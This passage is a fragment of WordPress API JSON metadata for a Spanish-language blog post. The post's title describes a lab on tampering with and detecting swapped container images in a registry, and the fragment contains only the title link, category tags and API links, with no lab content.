href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-artifact-tampering-detection-swapping-container-images-registry-2\/\" aria-label=\"Leer m\u00e1s sobre Lab: Manipulaci\u00f3n y Detecci\u00f3n de Artifacts \u2014 Intercambio de Container Images en un Registry\">Leer m\u00e1s<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55,60],"tags":[],"post_folder":[],"class_list":["post-704","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/704","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/comments?post=704"}],"version-history":[{"count":0,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/704\/revisions"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/media?parent=704"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/categories?post=704"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/tags?post=704"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/post_folder?post=704"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}